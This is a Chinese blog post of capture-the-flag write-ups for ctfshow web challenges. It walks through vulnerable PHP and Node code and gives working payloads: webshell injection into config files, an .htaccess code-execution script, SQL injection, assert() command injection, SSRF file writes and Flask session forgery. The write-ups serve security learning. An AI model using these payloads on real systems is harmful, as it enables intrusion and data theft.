做一题更新一题吧
WEB692 绕过addslashes并写入文件配置getshell 题目代码
1 2 3 4 5 6 7 8 9 <?php highlight_file (__FILE__ );if (!isset ($_GET ['option' ])) die ();$str = addslashes ($_GET ['option' ]);$file = file_get_contents ('./config.php' );$file = preg_replace ('|\$option=\'.*\';|' , "\$option='$str ';" , $file );file_put_contents ('./config.php' , $file );
首先看一下addslashes() 函数的作用: addslashes() 函数会将预定义的字符前添加反斜杠字符串 预定义字符有单引号,双引号,反斜杠,NULL
四个 效果如图,会添加上\
所以当我们传入?option=a\';phpinfo();//
时 会变为a\\\';phpinfo();//
接着看preg_replace函数preg_replace($pattern, $replacement, $string);
搜索string中匹配pattern的部分,以replacement进行替换。
最终config.php的内容为
1 2 <?php $option ='a\\' ;phpinfo ();
这样就构造了一个phpinfo();
所以直接上传php马?option=a\';eval($_POST[a]);//
WEB701 出自HarekazeCTF2019-A_Z
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 const express = require ('express' );const path = require ('path' );const vm = require ('vm' );const app = express (); app.set ('views' , path.join (__dirname, 'views' )); app.set ('view engine' , 'pug' ); app.use (express.static (path.join (__dirname, 'public' ))); app.get ('/' , function (req, res, next ) { let output = '' ; const code = req.query .code + '' ; if (code && code.length < 200 && !/[^a-z().]/ .test (code)) { try { const result = vm.runInNewContext (code, {}, { timeout : 500 }); if (result === 1337 ) { output = process.env .FLAG ; } else { output = 'nope' ; } } catch (e) { output = 'nope' ; } } else { output = 'nope' ; } res.render ('index' , { title : '[a-z().]' , output }); }); app.get ('/source' , function (req, res ) { res.sendFile (path.join (__dirname, 'app.js' )); });module .exports = app;
我们只能使用[a-z().]这些字符构造出1337
1 2 3 if (result === 1337 ) { output = process.env .FLAG ; }
我们可以用(typeof(this)).constructor()
构造出空字符串,而JS中1==true,所以(typeof(this)).constructor().length.constructor(true)
就会构造出1,或者true.constructor.length
。3可以用字符串的big()方法的name.length获得,7可以用true.constructor.name.length
得到。最后将所有字符concat在一起即可。
所以最后Payload(不唯一):eval((typeof(this)).constructor().concat(true.constructor.length).concat((typeof(this)).big.name.length).concat((typeof(this)).big.name.length).concat(true.constructor.name.length))
WEB712 出自XNUCA 2019 EasyPHP
题目给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php $files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } include_once ("fl3g.php" ); if (!isset ($_GET ['content' ]) || !isset ($_GET ['filename' ])) { highlight_file (__FILE__ ); die (); } $content = $_GET ['content' ]; if (stristr ($content ,'on' ) || stristr ($content ,'html' ) || stristr ($content ,'type' ) || stristr ($content ,'flag' ) || stristr ($content ,'upload' ) || stristr ($content ,'file' )) { echo "Hacker" ; die (); } $filename = $_GET ['filename' ]; if (preg_match ("/[^a-z\.]/" , $filename ) !== 0 ) { echo "Hacker" ; die (); } $files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } file_put_contents ($filename , $content . "\nJust one chance" );?>
2-9,25-32行的意思是删除除了文件名是index.php的文件 10行包含了fl3g.php文件 16-19对content参数,也就是文件内容进行了关键词过滤 21-24对filename参数进行了正则过滤,使文件名只允许出现a-z和点
分析完后发现好像对我们写shell没什么影响 。。传完后发现不能解析,应该是出题的时候设置了只能解析index.php
这个时候想到了之前做文件上传时经常用到的.htaccess
,直接设置AddType
或者SetHandler
不就行了吗,但是回过去看那些看似无用的关键词过滤,实际上把这两种情况禁用了
而且内容中还拼接了Just one chance
,在.htaccess
中会报错,所以要把它注释掉,先利用\
拼接上下两行,再用#
注释
既然可以用\
,那么也就可以绕过过滤了,从而写入被限制的内容
1 2 3 4 5 6 7 @autor: Iv4n import requests url = 'http://f47cd164-0248-4cca-993d-8610c32a4aa1.challenge.ctf.show/' r = requests.get(url+'?filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20system(\'cat%20../../../fl[a]g\');?>\\' )print (r.text)
php_value auto_prepend_file
将自身加载到index.php,然后写一句话木马,直接写的话会导致500,所以通过ErrorDocument 404
WEB720 sha1的强比较
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );include "flag.php" ;if (isset ($_GET ['name' ]) and isset ($_GET ['password' ])) { if ($_GET ['name' ] == $_GET ['password' ]) echo '<p>Your password can not be your name!</p>' ; else if (sha1 ($_GET ['name' ]) === sha1 ($_GET ['password' ])) die ('Flag: ' .$flag ); else echo '<p>Invalid password.</p>' ; }else { highlight_file (__FILE__ ); }
找到两个sha1后相等的值即可
1 ?name =%25PDF-1 .3 %0A %25 %E2 %E3 %CF %D3 %0A %0A %0A1 %200 %20obj %0A %3C %3C /Width%202 %200 %20R /Height%203 %200 %20R /Type%204 %200 %20R /Subtype%205 %200 %20R /Filter%206 %200 %20R /ColorSpace%207 %200 %20R /Length%208 %200 %20R /BitsPerComponent%208 %3E %3E %0Astream %0A %FF %D8 %FF %FE %00 %24SHA-1 %20is %20dead %21 %21 %21 %21 %21 %85 /%EC %09 %239u %9C9 %B1 %A1 %C6 %3CL %97 %E1 %FF %FE %01 %7FF %DC %93 %A6 %B6 %7E %01 %3B %02 %9A %AA %1D %B2V %0BE %CAg %D6 %88 %C7 %F8K %8CLy %1F %E0 %2B %3D %F6 %14 %F8m %B1i %09 %01 %C5kE %C1S %0A %FE %DF %B7 %608 %E9rr /%E7 %ADr %8F %0EI %04 %E0F %C20W %0F %E9 %D4 %13 %98 %AB %E1 .%F5 %BC %94 %2B %E35B %A4 %80- %98 %B5 %D7 %0F %2A3 .%C3 %7F %AC5 %14 %E7M %DC %0F %2C %C1 %A8t %CD %0Cx0Z %21Vda0 %97 %89 %60k %D0 %BF %3F %98 %CD %A8 %04F %29 %A1 &password=%25PDF-1 .3 %0A %25 %E2 %E3 %CF %D3 %0A %0A %0A1 %200 %20obj %0A %3C %3C /Width%202 %200 %20R /Height%203 %200 %20R /Type%204 %200 %20R /Subtype%205 %200 %20R /Filter%206 %200 %20R /ColorSpace%207 %200 %20R /Length%208 %200 %20R /BitsPerComponent%208 %3E %3E %0Astream %0A %FF %D8 %FF %FE %00 %24SHA-1 %20is %20dead %21 %21 %21 %21 %21 %85 /%EC %09 %239u %9C9 %B1 %A1 %C6 %3CL %97 %E1 %FF %FE %01sF %DC %91f %B6 %7E %11 %8F %02 %9A %B6 %21 %B2V %0F %F9 %CAg %CC %A8 %C7 %F8 %5B %A8Ly %03 %0C %2B %3D %E2 %18 %F8m %B3 %A9 %09 %01 %D5 %DFE %C1O %26 %FE %DF %B3 %DC8 %E9j %C2 /%E7 %BDr %8F %0EE %BC %E0F %D2 %3CW %0F %EB %14 %13 %98 %BBU .%F5 %A0 %A8 %2B %E31 %FE %A4 %807 %B8 %B5 %D7 %1F %0E3 .%DF %93 %AC5 %00 %EBM %DC %0D %EC %C1 %A8dy %0Cx %2Cv %21V %60 %DD0 %97 %91 %D0k %D0 %AF %3F %98 %CD %A4 %BCF %29 %B1
WEB721 F12看源码
1 2 3 4 5 <!-- CTFSHOW hint: if (($row [pass]) && (!strcasecmp (md5 ($pass ), $row [pass]))) { echo "<p>Logged in! " .$flag ." </p>" ; } -->
从数据库中提取出pass 然后逻辑与 与右边的(!strcasecmp($pass, $row[pass])) 两条语句都为真才会打印出flag
构造一个联合查询:这样第一条语句查询a
这个用户查不到,然后第二个根据特性会返回这个结果到password字段下
payload:
1 2 username:a' union select md5 (1 )# password:1
WEB726 F12看源码 跟WEB692一样,是Php写入配置文件的经典漏洞
1 2 3 4 5 <!-- CTFSHOW hint: $file = file_get_contents ('config.php' ); $file = preg_replace ('|\$db=\'.*\';|' , "\$db='$username ';" , $file ); file_put_contents ('config.php' , $file ); -->
但是用692的方法做不出来,这里用其他方法(利用 preg_replace() 函数的第二个参数的问题)
我们首先传入username=;eval($_POST[1]);
这时,config.php
文件中的内容为
1 2 <?php $option =';phpinfo();' ;
因为在preg_replace
函数中\\0
和$0
代表完整的模式匹配文本
所以当我们传入username=$0
后config.php
的内容就变成了
1 2 <?php $db ='$db=' ;eval ($_POST [1 ]);';' ;
两个单引号刚好闭合上,成功构造出eval
函数
访问config.php,传入1=system('tac flag.php');
,拿到flag
WEB728 F12看源码
1 2 3 4 <!-- CTFSHOW hint: $file = "templates/" . $page . ".php" ; assert ("strpos('$file ', '..') === false" ) or die ("hack!" ); -->
利用')
闭合,并使用//
注释后面的内容,以执行我们的命令
payload:1') or system('tac ./templates/flag.php');//
WEB729 F12看到代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <!-- CTFSHOW hint: $flag_input = $_POST ['flag' ]; if ((strcmp (flag_input,$flag ))) { die ("flag不正确" ); } $_p = 6543 ; $_l = 21 ; $l = strlen ($_GET ['secret' ]); $_i = intval ($_GET ['secret' ]); if ($l !== $_l || $_i !== $_p ) { die ("系统异常" ); } echo "< !--$flag -- >" ; -->
我们需要过两个if的判断
第一个if:strcmp()
函数的作用是比较两个字符串,相同则为0。因为strcmp
函数无法比较数组,会返回0,将flag输入为数组即可绕过。
第二个if: 要满足两个条件,长度为21,整数值为6534
综上所述,构造的payload为
1 2 POST /?secret=6543 aaaaaaaaaaaaaaaaaflag []=1
WEB731 F12看到hint 一个sha1的弱比较 传入一个0e开头的值即可
1 2 3 4 5 6 7 8 <!-- CTFSHOW hint: $hash = sha1 ($_GET ['hash' ]); $target = sha1 (10932435112 ); if ($hash == $target ) { include ('flag.php' ); print $flag ; } -->
参考值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 aaroZmOk:0 e66507019969427134894567494305185566735 aaK1STfY:0 e76658526655756207688271159624026011393 aaO8zKZF:0 e89257456677279068558073954252716165668 aa3OFF9m:0 e36977786278517984959260394024281014729 w9KASOk6Ikap:0 e94685489941557404937568181716894429726 CZbnUtm/wD+0 :00 e6513589156647795423839906410117726741 RSnake33ncxYMsiIgw:00 e0446570916533934353629798824448898569 hashcatRhtkuysFOYYh:0 ec6007027368764166354656983137779429045 hashcat7YfJg9x6AqNA:0 e50220802416020462770479580634172053582 hashcatJbYtCyUf7I3K:00 e9121985231400931761319208500866143806 hashcatZJCFhv5hhkxM:0 e22622630708604282251577618083953362629 hashcat7gqQ5KzDJRDe:0 e89084512868781863087376038568650856166 hashcatU4BRJMv0wZQ9:0 e26648206422262155598429612413699840868 hashcat6gP5u3LfjkB4:00 e4745251895202147342658062640046218324 hashcatGqnE8xnyDXTf:0 e15969028436788874806413050149455726924 hashcatirBCZWadC4V6:0 e31649851810187193299309281808938075168 hashcat0vScS1X5pWWD:00 e8504108085943725027274200432213595492 hashcat46AOYaAyyXRm:0 e12074483623118174676713113381129899097 hashcatHArOfcXelAhD:00 e4559098389903496918609646734123833089 hashcatQH5Q477JNSPy:0 e55688066453591945830139349969019185986 hashcatw1ZBfRtYm5oM:0 e05033562275990914578610618694299895931 hashcatoSz6YKuiFR3Y:0 ee0160094252962728385313526058227602671 hashcatypQJbFRa1dZt:0 e55105030693666790285044072061907048558 hashcatFN2n52JGTFx5:0 e44883634200812439498749585501922916636 0 e00000000000000000000081614617300000000 :0 e65307525940999632287492285468259219070 0 e00000000000000000000721902017120000000 :0 e94981159498252295418182453841140483274 0 e01011001101011010001101110101100101000 :0 e48906523151976751117677463787111106598 0 e11001000001010011000100000010001101000 :0 e63407184960930419027062777705081379452 0 e01000001100000001010011011001000000100 :0 e55962072388397083814346733718698213796 0 e10011110000101101000011101011010100100 :0 e31188585417285828785355336774237712792 0 e01010111000111111010101011010111010100 :0 e45906344569616659428808892091261969181 0 e00100001110000001111010000010011101100 :0 e14860258669052332549568607710438132953 0 e11110000111010001001101111111110010010 :0 e12174258436385758552874426941686538483 0 e10111110011100101100010101111010000110 :0 e99774398282593376043462038572281385389 0 e11001111110111110010111010000011110110 :0 e63185221301034624940345471074357888797 0 e00001010010101100100101011101110001110 :0 e90943988772171749054413593888105986782 0 e01011101110010111011110010010010101110 :0 e01608800192659803576771346607441737826 0 e10111110101111001000000100011101101110 :0 e49094541458479495263034294421025186938 0 e11100111101110011010111001010101111110 :0 e55770706149948760086200713505841887543 0 e11111001010101100110011001010001110001 :0 e91120687121163809515824135435029958137 0 e01000111101111110010010010000001001001 :0 e78071797328546369301825420848872451849 0 e00100110100010100110001101110110110101 :0 e06077380408260614659219920561082767632 0 e11111100001011000011110100100010111101 :0 e12149120354415335220758399492713921588 0 e00111100110101101001000101011011111101 :0 e38661126569790555598431905065403870516 0 e10100011100101000001110010100110100011 :0 e55745078154640212511596259055910278070 0 e10011110011111001001100100000111011011 :0 e20319731123101477913295720812414482217 &O&GKtn&54 xQ:00 e8144605926111857621787045161777776795 Sk~HOM&QzJXl:00 e8943083323373991014599597566984182387 1023456852390915 :0 e26379374770352024666148968868586665768 lowercasegzmgqmx:0 e46257280787231943618306073689855362607 lowercasifdvqkfr:0 e11372668415308535558155136274413213182 lowercasebchqcwctky:0 e63270019212961791900055698786302314274 lowercaseabcsobpkrt:0 e54706107047262165256262457226759421225 UPPERCASFFLIIQWR:00 e0209539108131630074694125235505223102 MixedCaseERWqTVQ:0 e26765837881628507475765845815158037783 MixCaseDigJiRR9d:00 e6970695351422324349039381794949865825 Punc!0 "*!"#$8 !zv:0 e77726009946581613829608157794165640009 Punctu!U"F5ru:0 e10005769841271999406141555258742283712 Punctuatiow$'l9X:0 e16039695246683143323677708220808911326 Punctuati0t..jsI:0 e77237948969014118794910091659528041921
WEB732 F12得到hint:password.js
1 2 3 <!-- CTFSHOW hint: password.js -->
访问后发现是被混淆过的js代码
1 var _0x575c=['\x32\x2d\x34' ,'\x73\x75\x62\x73\x74\x72\x69\x6e\x67' ,'\x34\x2d\x37' ,'\x67\x65\x74\x49\x74\x65\x6d' ,'\x64\x65\x6c\x65\x74\x65\x49\x74\x65\x6d' ,'\x31\x32\x2d\x31\x34' ,'\x30\x2d\x32' ,'\x73\x65\x74\x49\x74\x65\x6d' ,'\x39\x2d\x31\x32' ,'\x5e\x37\x4d' ,'\x75\x70\x64\x61\x74\x65\x49\x74\x65\x6d' ,'\x62\x62\x3d' ,'\x37\x2d\x39' ,'\x31\x34\x2d\x31\x36' ,'\x6c\x6f\x63\x61\x6c\x53\x74\x6f\x72\x61\x67\x65' ,];(function (_0x4f0aae,_0x575cf8 ){var _0x51eea2=function (_0x180eeb ){while (--_0x180eeb){_0x4f0aae['push' ](_0x4f0aae['shift' ]());}};_0x51eea2 (++_0x575cf8);}(_0x575c,0x78 ));var _0x51ee=function (_0x4f0aae,_0x575cf8 ){_0x4f0aae=_0x4f0aae-0x0 ;var _0x51eea2=_0x575c[_0x4f0aae];return _0x51eea2;};function CheckPassword (_0x47df21 ){var _0x4bbdc3=[_0x51ee ('0xe' ),_0x51ee ('0x3' ),_0x51ee ('0x7' ),_0x51ee ('0x4' ),_0x51ee ('0xa' )];window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]]('9-12' ,'BE*' );window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]](_0x51ee ('0x2' ),_0x51ee ('0xb' ));window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]](_0x51ee ('0x6' ),'5W' );window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]]('16' ,_0x51ee ('0x9' ));window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]](_0x51ee ('0x5' ),'pg' );window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]]('7-9' ,'+n' );window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]](_0x51ee ('0xd' ),'4t' );window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]](_0x51ee ('0x0' ),'$F' );if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee ('0x8' ))===_0x47df21[_0x51ee ('0x1' )](0x9 ,0xc )){if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee ('0x2' ))===_0x47df21['substring' ](0x4 ,0x7 )){if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee ('0x6' ))===_0x47df21[_0x51ee ('0x1' )](0x0 ,0x2 )){if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]]('16' )===_0x47df21[_0x51ee ('0x1' )](0x10 )){if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee ('0x5' ))===_0x47df21[_0x51ee ('0x1' )](0xc ,0xe )){if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee ('0xc' ))===_0x47df21[_0x51ee ('0x1' )](0x7 ,0x9 )){if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee ('0xd' ))===_0x47df21[_0x51ee ('0x1' )](0xe ,0x10 )){if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee ('0x0' ))===_0x47df21[_0x51ee ('0x1' )](0x2 ,0x4 ))return !![];}}}}}}}return ![];}
在线解密 后js代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 var _0x575c = ['2-4' , 'substring' , '4-7' , 'getItem' , 'deleteItem' , '12-14' , '0-2' , 'setItem' , '9-12' , '^7M' , 'updateItem' , 'bb=' , '7-9' , '14-16' , 'localStorage' , ]; (function (_0x4f0aae, _0x575cf8 ) { var _0x51eea2 = function (_0x180eeb ) { while (--_0x180eeb) { _0x4f0aae['push' ](_0x4f0aae['shift' ]()); } }; _0x51eea2 (++_0x575cf8); }(_0x575c, 0x78 ));var _0x51ee = function (_0x4f0aae, _0x575cf8 ) { _0x4f0aae = _0x4f0aae - 0x0 ; var _0x51eea2 = _0x575c[_0x4f0aae]; return _0x51eea2; };function CheckPassword (_0x47df21 ) { var _0x4bbdc3 = [_0x51ee ('0xe' ), _0x51ee ('0x3' ), _0x51ee ('0x7' ), _0x51ee ('0x4' ), _0x51ee ('0xa' )]; window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]]('9-12' , 'BE*' ); window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]](_0x51ee ('0x2' ), _0x51ee ('0xb' )); window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]](_0x51ee ('0x6' ), '5W' ); window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]]('16' , _0x51ee ('0x9' )); window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]](_0x51ee ('0x5' ), 'pg' ); window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]]('7-9' , '+n' ); window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]](_0x51ee ('0xd' ), '4t' ); window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]](_0x51ee ('0x0' ), '$F' ); if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee ('0x8' )) === _0x47df21[_0x51ee ('0x1' )](0x9 , 0xc )) { if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee ('0x2' )) === _0x47df21['substring' ](0x4 , 0x7 )) { if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee ('0x6' )) === _0x47df21[_0x51ee ('0x1' )](0x0 , 0x2 )) { if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]]('16' ) === _0x47df21[_0x51ee ('0x1' )](0x10 )) { if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee ('0x5' )) === _0x47df21[_0x51ee ('0x1' )](0xc , 0xe )) { if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee ('0xc' )) === _0x47df21[_0x51ee ('0x1' )](0x7 , 0x9 )) { if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee ('0xd' )) === _0x47df21[_0x51ee ('0x1' )](0xe , 0x10 )) { if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee ('0x0' )) === _0x47df21[_0x51ee ('0x1' )](0x2 , 0x4 )) return !![]; } } } } } } } return ![]; }
可以看到密码被拆分成很多部分,且顺序被打乱了,但是元素赋值和检查密码的顺序是一样的
先看第一个:if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x8')) === _0x47df21[_0x51ee('0x1')](9, 12))
对应的就是9-12位是window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('9-12', 'BE*');
,值为’BE*’
第二个:if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x2')) === _0x47df21['substring'](4, 7)) {
密码的4-7位就是window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x2'), _0x51ee('0xb'));
,值为_0x51ee('0xb')
其他的以此类推 但是有两个特殊的地方,第4-7和第16 第4-7值为_0x51ee('0xb')
,对应的是_0x575c
数组的第11位,值为bb=
第16值为_0x51ee('0x9')
,对应的是_0x575c
数组的第9为,值为^7M
我的分析过程图:
WEB736 题目出自[PASECA2019]honey_shop
打开题目,是一个商店,还有一个价值$1337的flag,但我们只有$1336 所以这一题的目标应该是修改价格来购买flag了
抓包可以看到session的值
通过脚本解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import sysimport zlibfrom base64 import b64decodefrom flask.sessions import session_json_serializerfrom itsdangerous import base64_decodedef decryption (payload ): payload, sig = payload.rsplit(b'.' , 1 ) payload, timestamp = payload.rsplit(b'.' , 1 ) decompress = False if payload.startswith(b'.' ): payload = payload[1 :] decompress = True try : payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception' ) if decompress: try : payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload' ) return session_json_serializer.loads(payload)if __name__ == '__main__' : print (decryption(sys.argv[1 ].encode()))
得到{'balance': 1336, 'purchases': []}
其中balance为当前余额,purchases值为空
如果我们要伪造session
,修改余额,那么就需要知道SECRET_KEY
的值
页面中还有一个提示*click to download our sweet images*
下载后格式为/download?image=
,这种格式容易造成任意文件读取
读取环境变量中的python版本
和SECRET_KEY
/proc/self/environ:当前正在运行的进程的环境变量列表
拿到SECRET_KEY
后就可以进行session伪造了 要注意python3和python2的结果不一样,所以上一步读了python的版本脚本地址
修改金额后进行伪造python flask_session_cookie_manager3.py encode -s "ctfshowsecretkeyhereyouneverknow" -t "{'balance': 1337, 'purchases': []}"
再次购买,购买成功
WEB743 F12
1 2 3 4 5 6 7 8 9 <!-- CTFSHOW hint: if ($a != $b && md5 ($a ) == md5 ($b )) { if ($c != $d && sha1 ($c ) == sha1 ($d )) { echo $flag ; } } -->
简单弱比较,传数组
WEB756 /source.txt得到源码
1 2 3 include "flag.php" ;$code = $_POST ['code' ];eval ("var_dump($$code );" );
这一题重点是理解$$code
;
举个例子$$b
其实相当于$($b)
,所以会输出1
理解后很容易想到php中自带的变量之一$GLOBALS
传入后就会以数组的形式返回值,得到flag
WEB758 /source.txt得到源码
1 2 3 4 5 6 7 $url = $_GET ['url' ];$file = './spider/' .$_GET ['file' ];if ((strpos ($url ,'http://127.0.0.1/' ) === 0 ) || strpos ($url ,'https://www.baidu.com/' ) === 0 ){ file_put_contents ($file , file_get_contents ($url )); die ("文件保存在$file " ); }
首先限制了开头的字符串必须是http://127.0.0.1/
或https://www.baidu.com/
然后从$url
获取内容然后写入$file
首先传入?url=http://127.0.0.1/&file=<?php phpinfo();?>
看到成功保存了 那么我们可以将这个内容再次保存到文件中
即?url=http://127.0.0.1/?url=http://127.0.0.1/&file=<?php phpinfo();?>&file=1.php
但是要注意的是要因为访问两次所以url编码两次
所以payload为?url=http://127.0.0.1/?url=http://127.0.0.1/%26file=%253C%253Fphp%2520phpinfo%2528%2529%253B%2520%253F%253E&file=1.php
访问1.php就行了
WEB760 F12
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 CTFSHOW hint: if (ereg ('\.' , $_GET ['^_^' ])) $smile = 0 ; if (ereg ('%' , $_GET ['^_^' ])) $smile = 0 ; if (ereg ('[0-9]' , $_GET ['^_^' ])) $smile = 0 ; if (ereg ('http' , $_GET ['^_^' ]) ) $smile = 0 ; if (ereg ('https' , $_GET ['^_^' ]) ) $smile = 0 ; if (ereg ('ftp' , $_GET ['^_^' ])) $smile = 0 ; if (ereg ('telnet' , $_GET ['^_^' ])) $smile = 0 ; if (ereg ('_' , $_SERVER ['QUERY_STRING' ])) $smile = 0 ; if ($smile ) { if (@file_exists ($_GET ['^_^' ])) $smile = 0 ; } if ($smile ) { $smile = @file_get_contents ($_GET ['^_^' ]); if ($smile === "(●'◡'●)" ) die ($flag ); }
$_SERVER["QUERY_STRING"]
获取的是?后面的值,比如http://localhost/aaa/index.php?p=222&q=333
中$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_GET['^_^']
就包含了_
,但是$_SERVER["QUERY_STRING"]
却不允许有_
,这是矛盾的
在php中变量名中的点和空格会被转换成下划线。例如 <input name="a.b" />
变成了 $_REQUEST["a_b"]
这样我们可以传入^.^
来绕过
file_exists
判断文件是否存在,这里必须不存在,但是却要file_get_contents
读到文件内容
因为http
等协议被禁用,所以不能远程包含了,这里采用data://
来读取
而且file_exists 对于 data 指向内容判断为不存在
最终的payload为:?^.^=data://text/plain,(●'◡'●)
或?^.^=data://text/plain;charset=unicode,(●'◡'●)
WEB761 F12
1 2 3 if ($value ==md5 ($value )){ echo $flag ; }
百度一个0e开头的值,且这个值md5后还是0e开头
WEB764 source.txt看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 session_start ();if (isset ($_GET ['id' ])){ $login = $_GET ['id' ]; if (!@isset ($login ['cookie' ])||$login ['cookie' ] != @md5 ($_SESSION ['flag' ])){ die ('error!' ); }else { mt_srand (substr ($login ['cookie' ],17 ,7 )); $content = "<?php \$flag=" ."'" .$flag ."'" ."?>" ; $filename = (string )mt_rand ().".php" ; file_put_contents ($filename ,$content ); mt_srand (mt_rand ()); if ($_POST ['key' ] == mt_rand ()) { echo file_get_contents (${$_POST [mt_rand ()]}); } } }
第一个if判断: 因为!isset($login['cookie'])
肯定为false 所以要满足$login['cookie']
与md5($_SESSION['flag'])
相等
在本地跑出md5($_SESSION['flag'])
结果为d41d8cd98f00b204e9800998ecf8427e
1 2 3 4 5 <?php session_start ();$a = md5 ($_SESSION ['flag' ]);echo $a ;?>
根据题目传?id[cookie]=d41d8cd98f00b204e9800998ecf8427e
,不在返回error
else内容分析: 以cookie中第17位开始向后7位,播种随机数生成器
1 mt_srand (substr ($login ['cookie' ],17 ,7 ));
拼接字符串和flag,赋给$content
1 $content = "<?php \$flag=" ."'" .$flag ."'" ."?>" ;
返回一个随机数,并加上.php后缀,赋给$filename
1 $filename = (string )mt_rand ().".php" ;
写入文件
1 file_put_contents ($filename ,$content );
以随机数生成器生成的第二个随机数重新生成新的随机数生成器
POST传参,令参数key与新的随机数生成器生成的随机数相等,即可进入IF判断
1 if ($_POST ['key' ] == mt_rand ())
生成第二个随机数
1 echo file_get_contents (${$_POST [mt_rand ()]});
本地构写几个mt_rand()结果,源码如下
1 2 3 4 5 6 7 8 9 <?php error_reporting (0 );session_start ();mt_srand (substr ('d41d8cd98f00b204e9800998ecf8427e' ,17 ,7 ));echo mt_rand ().'</br>' ;mt_srand (mt_rand ());echo mt_rand ().'</br>' ;echo mt_rand ().'</br>' ;?>
运行结果如下,可以看到结果是固定的,这就是php的伪随机数问题
1 2 3 1160121479 </br>954576979 </br>1277894509 </br>
POST传参,参数名为新的随机数生成器生成的第二个随机数
1 echo file_get_contents (${$_POST [mt_rand ()]});
最后POST传:key=954576979&1277894509=filename
因为$_POST[mt_rand()]
前还有一个$
,所以传入的filename
会变成$filename
,这样就读到了flag